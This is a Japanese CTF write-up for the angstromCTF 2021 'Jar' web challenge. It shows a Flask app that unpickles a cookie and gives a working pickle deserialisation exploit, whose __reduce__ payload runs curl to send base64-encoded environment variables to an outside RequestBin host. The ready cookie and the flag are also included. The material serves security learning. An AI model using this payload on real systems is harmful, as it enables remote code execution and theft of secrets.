Rating:
# Jar:Web:70pts
My other pickle challenges seem to be giving you all a hard time, so here's a [simpler one](https://jar.2021.chall.actf.co/) to get you warmed up.
[jar.py](jar.py), [pickle.jpg](pickle.jpg), [Dockerfile](Dockerfile)
Hint
The Python [documentation](https://docs.python.org/3/library/pickle.html) for pickle has this big red box... I hope it's not important.
# Solution
アクセスすると、ピクルスにtextを漬けられるサイトのようだ。
site
[site1.png](site/site1.png)
配布されたjar.pyを見ると以下のようであった。
```python
~~~
@app.route('/')
def jar():
contents = request.cookies.get('contents')
if contents: items = pickle.loads(base64.b64decode(contents))
else: items = []
return '<form method="post" action="/add" style="text-align: center; width: 100%"><input type="text" name="item" placeholder="Item"><button>Add Item</button>' + \
''.join(f'<div style="background-color: white; font-size: 3em; position: absolute; top: {random.random()*100}%; left: {random.random()*100}%;">{item}</div>' for item in items)
@app.route('/add', methods=['POST'])
def add():
contents = request.cookies.get('contents')
if contents: items = pickle.loads(base64.b64decode(contents))
else: items = []
items.append(request.form['item'])
response = make_response(redirect('/'))
response.set_cookie('contents', base64.b64encode(pickle.dumps(items)))
return response
~~~
```
cookie経由でデータをやり取りし、pickleを用いているようだ。
コードをシリアライズしたものを渡してやれば実行できることが知られている。
flagの場所が不明だが配布されたDockerfileに`ENV FLAG="actf{REDACTED}"`の記述がある。
つまり`/proc/self/environ`に書かれている。
以下のyumm.pyでcurlを用い、外部にファイルの中身を送信してやるcookieを作成する。
```python:yumm.py
import base64
import pickle
class rce():
def __reduce__(self):
return (eval, ("os.system('curl https://enbgdei302k4o.x.pipedream.net/ -d \"$(cat /proc/self/environ | base64)\"')",))
# https://enbgdei302k4o.x.pipedream.net/ <- RequestBin.com
code = pickle.dumps(rce())
print(base64.b64encode(code))
```
実行して得られたcookieを設定し、リクエストを飛ばす。
```bash
$ python3 yumm.py
b'gASVfAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxgb3Muc3lzdGVtKCdjdXJsIGh0dHBzOi8vZW5iZ2RlaTMwMms0by54LnBpcGVkcmVhbS5uZXQvIC1kICIkKGNhdCAvcHJvYy9zZWxmL2Vudmlyb24gfCBiYXNlNjQpIicplIWUUpQu'
$ curl https://jar.2021.chall.actf.co/ --cookie "contents=gASVfAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxgb3Muc3lzdGVtKCdjdXJsIGh0dHBzOi8vZW5iZ2RlaTMwMms0by54LnBpcGVkcmVhbS5uZXQvIC1kICIkKGNhdCAvcHJvYy9zZWxmL2Vudmlyb24gfCBiYXNlNjQpIicplIWUUpQu"
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.
## actf{you_got_yourself_out_of_a_pickle}